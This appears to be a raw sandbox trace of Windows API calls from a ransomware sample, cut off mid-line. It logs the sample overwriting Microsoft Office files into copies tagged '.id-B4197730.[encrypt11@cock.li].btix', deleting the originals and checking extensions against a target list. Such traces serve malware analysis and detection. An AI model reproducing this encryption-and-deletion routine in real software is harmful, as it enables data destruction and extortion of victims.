[0139.596] CloseHandle (hObject=0x38c) returned 1 [0139.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0139.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0139.858] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.858] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0139.859] GetLastError () returned 0x0 [0139.859] ReadFile (in: hFile=0x42c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0139.888] WriteFile (in: hFile=0x38c, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0139.889] ReadFile (in: hFile=0x42c, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.890] WriteFile (in: hFile=0x38c, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x102, lpOverlapped=0x0) returned 1 [0139.890] SetEndOfFile (hFile=0x38c) returned 1 [0139.911] CloseHandle (hObject=0x38c) returned 1 [0139.918] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.918] SetEndOfFile (hFile=0x42c) returned 1 [0139.934] CloseHandle (hObject=0x42c) returned 1 [0139.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0139.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString=".doc") returned 4 [0140.161] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".docx") returned 5 [0140.161] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.161] lstrlenW (lpString=".pdf") returned 4 [0140.161] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".xls") returned 4 [0140.161] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".xlsx") returned 5 [0140.161] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.161] lstrlenW (lpString=".ppt") returned 4 [0140.161] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString=".zip") returned 4 [0140.161] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".rar") returned 4 [0140.161] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".bz2") returned 4 [0140.161] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString=".7z") returned 3 [0140.161] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString=".dbf") returned 4 [0140.161] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString=".1cd") returned 4 [0140.161] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.161] lstrlenW (lpString=".jpg") returned 4 [0140.162] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString=".doc") returned 4 [0140.162] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".docx") returned 5 [0140.162] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0140.162] lstrlenW (lpString=".pdf") returned 4 [0140.162] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".xls") returned 4 [0140.162] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".xlsx") returned 5 [0140.162] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0140.162] lstrlenW (lpString=".ppt") returned 4 [0140.162] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString=".zip") returned 4 [0140.162] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".rar") returned 4 [0140.162] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".bz2") returned 4 [0140.162] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString=".7z") returned 3 [0140.162] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString=".dbf") returned 4 [0140.162] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString=".1cd") returned 4 [0140.162] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0140.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0140.162] lstrlenW (lpString=".jpg") returned 4 [0140.163] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0140.163] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.163] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0140.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.491] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18624) returned 1 [0140.491] CloseHandle (hObject=0x38c) returned 1 [0140.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0140.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.492] lstrlenW (lpString=".doc") returned 4 [0140.492] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.492] lstrlenW (lpString=".docx") returned 5 [0140.492] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.492] lstrlenW (lpString=".pdf") returned 4 [0140.492] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.492] lstrlenW (lpString=".xls") returned 4 [0140.492] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.492] lstrlenW (lpString=".xlsx") returned 5 [0140.492] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.492] lstrlenW (lpString=".ppt") returned 4 [0140.492] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString=".zip") returned 4 [0140.493] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString=".rar") returned 4 [0140.493] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString=".bz2") returned 4 [0140.493] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.493] lstrlenW (lpString=".7z") returned 3 [0140.493] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString=".dbf") returned 4 [0140.493] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString=".1cd") returned 4 [0140.493] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString=".jpg") returned 4 [0140.493] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.493] lstrlenW (lpString=".doc") returned 4 [0140.493] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString=".docx") returned 5 [0140.493] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.493] lstrlenW (lpString=".pdf") returned 4 [0140.493] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.493] lstrlenW (lpString=".xls") returned 4 [0140.493] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.494] lstrlenW (lpString=".xlsx") returned 5 [0140.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.494] lstrlenW (lpString=".ppt") returned 4 [0140.494] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.494] lstrlenW (lpString=".zip") returned 4 [0140.494] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.494] lstrlenW (lpString=".rar") returned 4 [0140.503] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.503] lstrlenW (lpString=".bz2") returned 4 [0140.503] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.503] lstrlenW (lpString=".7z") returned 3 [0140.503] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.503] lstrlenW (lpString=".dbf") returned 4 [0140.503] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.503] lstrlenW (lpString=".1cd") returned 4 [0140.503] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80 [0140.503] lstrlenW (lpString=".jpg") returned 4 [0140.503] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.504] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.504] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27 [0140.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.505] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=96472) returned 1 [0140.505] CloseHandle (hObject=0x38c) returned 1 [0140.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0140.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString=".doc") returned 4 [0140.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString=".docx") returned 5 [0140.506] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0140.506] lstrlenW (lpString=".pdf") returned 4 [0140.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString=".xls") returned 4 [0140.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString=".xlsx") returned 5 [0140.506] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0140.506] lstrlenW (lpString=".ppt") returned 4 [0140.506] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString=".zip") returned 4 [0140.506] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString=".rar") returned 4 [0140.506] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.506] lstrlenW (lpString=".bz2") returned 4 [0140.506] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.506] lstrlenW (lpString=".7z") returned 3 [0140.506] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString=".dbf") returned 4 [0140.506] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString=".1cd") returned 4 [0140.506] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.506] lstrlenW (lpString=".jpg") returned 4 [0140.506] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString=".doc") returned 4 [0140.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString=".docx") returned 5 [0140.507] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0140.507] lstrlenW (lpString=".pdf") returned 4 [0140.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString=".xls") returned 4 [0140.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString=".xlsx") returned 5 [0140.507] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0140.507] lstrlenW (lpString=".ppt") returned 4 [0140.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString=".zip") returned 4 [0140.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString=".rar") returned 4 [0140.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.507] lstrlenW (lpString=".bz2") returned 4 [0140.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.507] lstrlenW (lpString=".7z") returned 3 [0140.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString=".dbf") returned 4 [0140.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString=".1cd") returned 4 [0140.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0140.507] lstrlenW (lpString=".jpg") returned 4 [0140.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.508] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.508] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36 [0140.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.508] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=49368) returned 1 [0140.508] CloseHandle (hObject=0x38c) returned 1 [0140.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0140.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.509] lstrlenW (lpString=".doc") returned 4 [0140.509] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString=".docx") returned 5 [0140.509] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0140.509] lstrlenW (lpString=".pdf") returned 4 [0140.509] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString=".xls") returned 4 [0140.509] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString=".xlsx") returned 5 [0140.509] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0140.509] lstrlenW (lpString=".ppt") returned 4 [0140.509] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.509] lstrlenW (lpString=".zip") returned 4 [0140.509] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString=".rar") returned 4 [0140.509] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.509] lstrlenW (lpString=".bz2") returned 4 [0140.509] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.509] lstrlenW (lpString=".7z") returned 3 [0140.510] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.510] lstrlenW (lpString=".dbf") returned 4 [0140.510] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.510] lstrlenW (lpString=".1cd") returned 4 [0140.510] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.510] lstrlenW (lpString=".jpg") returned 4 [0140.510] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.510] lstrlenW (lpString=".doc") returned 4 [0140.510] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.510] lstrlenW (lpString=".docx") returned 5 [0140.510] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0140.510] lstrlenW (lpString=".pdf") returned 4 [0140.510] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.510] lstrlenW (lpString=".xls") returned 4 [0140.510] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.510] lstrlenW (lpString=".xlsx") returned 5 [0140.510] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0140.510] lstrlenW (lpString=".ppt") returned 4 [0140.511] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.511] lstrlenW (lpString=".zip") returned 4 [0140.511] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.511] lstrlenW (lpString=".rar") returned 4 [0140.511] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.511] lstrlenW (lpString=".bz2") returned 4 [0140.511] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.511] lstrlenW (lpString=".7z") returned 3 [0140.511] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.511] lstrlenW (lpString=".dbf") returned 4 [0140.511] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.511] lstrlenW (lpString=".1cd") returned 4 [0140.511] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0140.511] lstrlenW (lpString=".jpg") returned 4 [0140.511] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.511] lstrcmpiW 